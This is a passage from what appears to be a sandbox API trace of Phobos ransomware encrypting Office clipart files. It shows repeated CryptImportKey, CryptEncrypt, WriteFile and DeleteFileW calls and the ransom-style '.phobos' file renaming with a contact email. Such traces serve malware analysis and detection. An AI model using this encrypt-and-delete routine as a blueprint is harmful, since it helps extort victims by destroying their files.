Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x220 [0058.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0058.805] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.805] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.805] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcc10) returned 1 [0058.805] CryptSetKeyParam (hKey=0x10dcc10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.805] ReadFile (in: hFile=0x304, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3f34, lpOverlapped=0x0) returned 1 [0058.816] CryptEncrypt (in: hKey=0x10dcc10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3f40, dwBufLen=0x3f40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3f40) returned 1 [0058.816] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3f40, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3f40, lpOverlapped=0x0) returned 1 [0058.817] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0058.817] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.817] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.817] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.817] WriteFile (in: hFile=0x310, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.817] CryptDestroyKey (hKey=0x10dcc10) returned 1 [0058.817] CloseHandle (hObject=0x304) returned 1 [0058.817] CloseHandle (hObject=0x310) returned 1 [0058.818] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0058.867] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.867] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=16112) returned 1 [0058.867] CloseHandle (hObject=0x338) returned 1 [0058.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x220 [0058.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.867] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.867] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.867] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.867] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc590) returned 1 [0058.868] CryptSetKeyParam (hKey=0x10dc590, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.868] ReadFile (in: hFile=0x338, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x3ef0, lpOverlapped=0x0) returned 1 [0058.899] CryptEncrypt (in: hKey=0x10dc590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3f00, dwBufLen=0x3f00 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x3f00) returned 1 [0058.899] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x3f00, lpOverlapped=0x0) returned 1 [0058.900] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dcb10) returned 1 [0058.900] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.900] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.900] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0058.900] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.900] CryptDestroyKey (hKey=0x10dc590) returned 1 [0058.900] CloseHandle (hObject=0x338) returned 1 [0058.900] CloseHandle (hObject=0x2fc) returned 1 [0058.901] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd06102_.wmf")) returned 1 [0058.902] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.902] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0058.905] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4924) returned 1 [0058.905] CloseHandle (hObject=0x310) returned 1 [0058.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x220 [0058.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.908] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.908] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.908] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.909] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc810) returned 1 [0058.909] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.909] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x133c, lpOverlapped=0x0) returned 1 [0058.929] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1340, dwBufLen=0x1340 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x1340) returned 1 [0058.929] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x1340, lpOverlapped=0x0) returned 1 [0058.929] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc9d0) returned 1 [0058.929] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.929] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.930] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0058.930] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.930] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.930] CloseHandle (hObject=0x328) returned 1 [0058.930] CloseHandle (hObject=0x330) returned 1 [0058.930] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0058.931] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.931] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=4066) returned 1 [0058.931] CloseHandle (hObject=0x330) returned 1 [0058.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x220 [0058.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.932] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.932] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.932] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dcbd0) returned 1 [0058.932] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.932] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0xfe2, lpOverlapped=0x0) returned 1 [0058.938] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xff0, dwBufLen=0xff0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0xff0) returned 1 [0058.938] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xff0, lpOverlapped=0x0) returned 1 [0058.939] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc690) returned 1 [0058.939] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.939] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.939] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.939] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.939] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0058.939] CloseHandle (hObject=0x330) returned 1 [0058.939] CloseHandle (hObject=0x328) returned 1 [0058.940] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0058.941] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.941] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=24320) returned 1 [0058.941] CloseHandle (hObject=0x328) returned 1 [0058.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x220 [0058.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.942] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.942] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.942] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc610) returned 1 [0058.942] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.942] ReadFile (in: hFile=0x328, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x5f00, lpOverlapped=0x0) returned 1 [0058.962] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5f10, dwBufLen=0x5f10 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x5f10) returned 1 [0058.962] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x5f10, lpOverlapped=0x0) returned 1 [0058.963] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af808 | out: phKey=0x37af808*=0x10dc6d0) returned 1 [0058.963] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.963] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40, dwBufLen=0x40 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x40) returned 1 [0058.963] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0058.963] WriteFile (in: hFile=0x330, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0xf2, lpOverlapped=0x0) returned 1 [0058.963] CryptDestroyKey (hKey=0x10dc610) returned 1 [0058.963] CloseHandle (hObject=0x328) returned 1 [0058.963] CloseHandle (hObject=0x330) returned 1 [0058.964] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0058.965] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x37af8b0 | out: pbBuffer=0x37af8b0) returned 1 [0058.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.966] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x37af850 | out: lpFileSize=0x37af850*=24778) returned 1 [0058.966] CloseHandle (hObject=0x330) returned 1 [0058.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0058.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.966] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.966] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37af7f0 | out: lpNewFilePointer=0x0) returned 1 [0058.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.966] CryptImportKey (in: hProv=0x10b66e0, pbData=0x37af7a8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x37af804 | out: phKey=0x37af804*=0x10dc750) returned 1 [0058.966] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x37af8b0, dwFlags=0x0) returned 1 [0058.966] ReadFile (in: hFile=0x330, lpBuffer=0x3b34020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x37af82c, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesRead=0x37af82c*=0x60ca, lpOverlapped=0x0) returned 1 [0058.985] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60d0, dwBufLen=0x60d0 | out: pbData=0x3b34020*, pdwDataLen=0x37af7c8*=0x60d0) returned 1 [0058.985] WriteFile (in: hFile=0x328, lpBuffer=0x3b34020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x37af810, lpOverlapped=0x0 | out: lpBuffer=0x3b34020*, lpNumberOfBytesWritten=0x37af810*=0x60d0, lpOverlapped=0x0) returned 1 [0058.987] CryptImportKey (in: hProv=0x10b66e0, 